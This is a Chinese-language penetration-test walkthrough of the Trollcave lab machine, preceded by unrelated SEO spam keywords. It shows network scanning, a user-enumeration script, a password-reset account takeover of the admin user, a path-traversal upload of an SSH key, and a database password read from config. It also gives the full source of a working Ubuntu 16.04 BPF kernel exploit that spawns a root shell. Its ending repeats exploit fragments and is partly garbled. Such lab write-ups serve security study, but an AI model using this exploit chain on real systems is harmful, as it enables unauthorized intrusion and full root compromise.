正规的企业网站建设公司,网站建设 不违背,湖南智能网站建设哪里好,企业网站建设主要类型及选择配置
第一步#xff1a;启动靶机时按下 shift 键#xff0c;
进入以下界面 第二步#xff1a;选择第二个选项#xff0c;然后按下 e 键#xff0c;进入编辑界面 将这里的ro修改为rw single init/bin/bash#xff0c;然后按ctrlx#xff0c;进入一个相当于控制台的界面…配置
第一步启动靶机时按下 shift 键
进入以下界面 第二步选择第二个选项然后按下 e 键进入编辑界面 将这里的ro修改为rw single init/bin/bash然后按ctrlx进入一个相当于控制台的界面里面可以执行命令 ip a 查看一下实际用的网卡这里是ens33 vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡如果不一致则将这两个都改成 ens33
按下 i 即可进入编辑模式 /etc/init.d/networking restart 重启网卡服务
渗透流程
一、信息收集
发现ip netdiscover -i eth0 -r 192.168.16.0/24or
nmap -sP 192.168.16.0/24获取到IP后收集详细信息
nmap -sV -sC -A 192.168.16.128开放端口80和22版本ubuntu 扫描目录
└─# gobuster dir -u http://192.168.16.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt收集网站用户名与角色信息
发现登录页面点击下面发现用户进行了更换更换是在上面得目录进行操作 尝试获取全部用户名自己编写脚本
获取整个网页
#coding:utf-8
import requests
import re
# 假设id是一个变量用来构造请求的URL
def get_userinfo(id): # 发送HTTP GET请求并获取响应的文本内容 response requests.get(http://192.168.16.128/users/%s %id).textreturn responseprint(get_userinfo(1))配置该内容
h1Kings page/h1
b
Superadmin
/b
添加正则表达式匹配对应的内容
这里会用到 re 模块提供的一个函数为re.search。用于在字符串中搜索与正则表达式匹配的内容。它会在整个字符串中查找第一个匹配项并返回一个匹配对象。 #匹配内容 h1Kings page/h1usernamere.search(h1(.*?)\s,response).group(1)#匹配内容 bSuperadmin/b
levelre.search(\sb\s(.*?)\s/b,response).group(1)#\s是换行符完整获取
#coding:utf-8
import requests
import re
# 假设id是一个变量用来构造请求的URL
def get_userinfo(id): # 发送HTTP GET请求并获取响应的文本内容 response requests.get(http://192.168.16.128/users/%s %id).text#匹配内容 h1Kings page/h1usernamere.search(h1(.*?)\s,response).group(1)levelre.search(\sb\s(.*?)\s/b,response).group(1)return username,levelfor i in range(0,20):try:username,level(get_userinfo(i))print(username:level)except:NoneKing:Superadmin
dave:Admin
dragon:Admin
coderguy:Admin
cooldude89:Moderator
Sir:Moderator
Q:Moderator
teflon:Moderator
TheDankMan:Regular member
artemus:Regular member
MrPotatoHead:Regular member
Ian:Regular member
kev:Member
notanother:Member
anybodyhome:Member
onlyme:Member
xer:Member收集登录失败的提示
每个账号失败提示的都不一样 抓包获取登录面详细信息 看到有个·utf-8编码删除看看会不会出错 收集博客信息
1.发现该网站有部署密码重置功能 搜索发现rails是一个开发框架 直接去github上寻找源码
https://github.com/rails/rails 二、获取密码
尝试使用此路径登录password_resets 百度搜索发现 添加目录
192.168.16.128/password_resets/newx’e访问 成功出现修改密码页面
发现只能重置普通用户密码 改为重置xer用户密码
进入他给的重置用户连接
http://192.168.16.128/password_resets/edit.8QidiHVYZPZI8hN3uk4nzg?namexer更改自动登录成功 发现文件上传功能
上传报错404可能是权限不够 三、更换管理员用户传马
利用重置密码链接尝试修改用户名是否可以直接重置对应的密码。 http://192.168.16.128/password_resets/edit.SbA7EAliLdkfS-R03alnUg?nameKing成功进来 上传文件显示
File upload is currently disabled文件上载当前已禁用
在控制面板中开启 再次上传 打开连接得到路径 访问后门地址
http://192.168.16.128//uploads/King/x.php发现没有成功编译 因为支持php编译
四、漏洞利用
1.任意位置文件上传利用 会发现位置来到了上级目录 尝试将文件上传到coderguy用户家目录下错误可能用户不存在或没有权限
想到目标网站是rails部署的运行web服务的用户会不会是rails呢
尝试目录更换
../../../../../../home/rails/xx.gif2.ssh公钥免密利用
利用工具 ssh-keygen -f Identity
ssh-keygen的使用方法
https://blog.csdn.net/qq_38570571/article/details/79268426
创建公钥
ssh-keygen -f Identity公钥创建成功 将Identity.pub重命名为authorized_keys
authorized_keys 是linux 操作系统下专门用来存放公钥的地方只要公钥放到了服务器的正确位置并且拥有正确的权限你才可以通过你的私钥免密登录linux服务器完成后上传到上传到/home/rails/.ssh/
../../../../../../home/rails/authorized_keys3.shell连接
ssh -i Identity rails192.168.16.128权限为普通用户
五、提权
1.查看etc/passwd 2.查看本地开启的服务
netstat -pant3.尝试去目录获取数据库账号密码
cd /var/www/trollcave/configcat database.yml得到密码和账号
adapter: postgresql
database: trollcave
username: tc
password: sowvillagedinnermoment这里连接失败原因不知道
4.查看sqllit3数据库
sqlite3 /var/www/trollcave/db/development.sqlite3
select * from users;内核提权
已知服务器内核版本Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)
存在提权漏洞
poc地址https://www.exploit-db.com/exploits/44298
/** Ubuntu 16.04.4 kernel priv esc** all credits to bleidl* - vnik*/// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset check kernel stack size
#include stdio.h
#include stdlib.h
#include unistd.h
#include errno.h
#include fcntl.h
#include string.h
#include linux/bpf.h
#include linux/unistd.h
#include sys/mman.h
#include sys/types.h
#include sys/socket.h
#include sys/un.h
#include sys/stat.h
#include stdint.h#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328int sockets[2];
int mapfd, progfd;char *__prog \xb4\x09\x00\x00\xff\xff\xff\xff\x55\x09\x02\x00\xff\xff\xff\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x18\x19\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x00\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x06\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x01\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x07\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x02\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x08\x00\x00\x00\x00\x00\x00\xbf\x02\x00\x00\x00\x00\x00\x00\xb7\x00\x00\x00\x00\x00\x00\x00\x55\x06\x03\x00\x00\x00\x00\x00\x79\x73\x00\x00\x00\x00\x00\x00\x7b\x32\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x55\x06\x02\x00\x01\x00\x00\x00\x7b\xa2\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x7b\x87\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00;char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type,const struct bpf_insn *insns, int prog_len,const char *license, int kern_version) {union bpf_attr attr {.prog_type prog_type,.insns (__u64)insns,.insn_cnt prog_len / sizeof(struct bpf_insn),.license (__u64)license,.log_buf (__u64)bpf_log_buf,.log_size LOG_BUF_SIZE,.log_level 1,};attr.kern_version kern_version;bpf_log_buf[0] 0;return syscall(__NR_bpf, BPF_PROG_LOAD, attr, sizeof(attr));
}static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,int max_entries) {union bpf_attr attr {.map_type map_type,.key_size key_size,.value_size value_size,.max_entries max_entries};return syscall(__NR_bpf, BPF_MAP_CREATE, attr, sizeof(attr));
}static int bpf_update_elem(uint64_t key, uint64_t value) {union bpf_attr attr {.map_fd mapfd,.key (__u64)key,.value (__u64)value,.flags 0,};return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, attr, sizeof(attr));
}static int bpf_lookup_elem(void *key, void *value) {union bpf_attr attr {.map_fd mapfd,.key (__u64)key,.value (__u64)value,};return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, attr, sizeof(attr));
}static void __exit(char *err) {fprintf(stderr, error: %s\n, err);exit(-1);
}static void prep(void) {mapfd bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);if (mapfd 0)__exit(strerror(errno));progfd bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, GPL, 0);if (progfd 0)__exit(strerror(errno));if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))__exit(strerror(errno));if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(progfd)) 0)__exit(strerror(errno));
}static void writemsg(void) {char buffer[64];ssize_t n write(sockets[0], buffer, sizeof(buffer));if (n 0) {perror(write);return;}if (n ! sizeof(buffer))fprintf(stderr, short write: %lu\n, n);
}#define __update_elem(a, b, c) \bpf_update_elem(0, (a)); \bpf_update_elem(1, (b)); \bpf_update_elem(2, (c)); \writemsg();static uint64_t get_value(int key) {uint64_t value;if (bpf_lookup_elem(key, value))__exit(strerror(errno));return value;
}static uint64_t __get_fp(void) {__update_elem(1, 0, 0);return get_value(2);
}static uint64_t __read(uint64_t addr) {__update_elem(0, addr, 0);return get_value(2);
}static void __write(uint64_t addr, uint64_t val) {__update_elem(2, addr, val);
}static uint64_t get_sp(uint64_t addr) {return addr ~(0x4000 - 1);
}static void pwn(void) {uint64_t fp, sp, task_struct, credptr, uidptr;fp __get_fp();if (fp PHYS_OFFSET)__exit(bogus fp);sp get_sp(fp);if (sp PHYS_OFFSET)__exit(bogus sp);task_struct __read(sp);if (task_struct PHYS_OFFSET)__exit(bogus task ptr);printf(task_struct %lx\n, task_struct);credptr __read(task_struct CRED_OFFSET); // credif (credptr PHYS_OFFSET)__exit(bogus cred ptr);uidptr credptr UID_OFFSET; // uidif (uidptr PHYS_OFFSET)__exit(bogus uid ptr);printf(uidptr %lx\n, uidptr);__write(uidptr, 0); // set both uid and gid to 0if (getuid() 0) {printf(spawning root shell\n);system(/bin/bash);exit(0);}__exit(not vulnerable?);
}int main(int argc, char **argv) {prep();pwn();return 0;
} 编译exp
# 由于目标主机上没有gcc环境在kali中编译
gcc -c pwn.c -o pwn 利用ssh上传exp到目标主机
scp -i Identity pwn rails192.168.16.128:/home/rails/目标主机上提权
添加可执行权限
chmod x pwn运行提权成功
D_OFFSET); // cred
if (credptr PHYS_OFFSET)__exit(bogus cred ptr);uidptr credptr UID_OFFSET; // uid
if (uidptr PHYS_OFFSET)__exit(bogus uid ptr);printf(uidptr %lx\n, uidptr);
__write(uidptr, 0); // set both uid and gid to 0if (getuid() 0) {printf(spawning root shell\n);system(/bin/bash);exit(0);
}__exit(not vulnerable?);}
int main(int argc, char **argv) { prep(); pwn();
return 0;} ### 编译expsh
# 由于目标主机上没有gcc环境在kali中编译
gcc -c pwn.c -o pwn 利用ssh上传exp到目标主机
scp -i Identity pwn rails192.168.16.128:/home/rails/目标主机上提权
添加可执行权限
chmod x pwn运行提权成功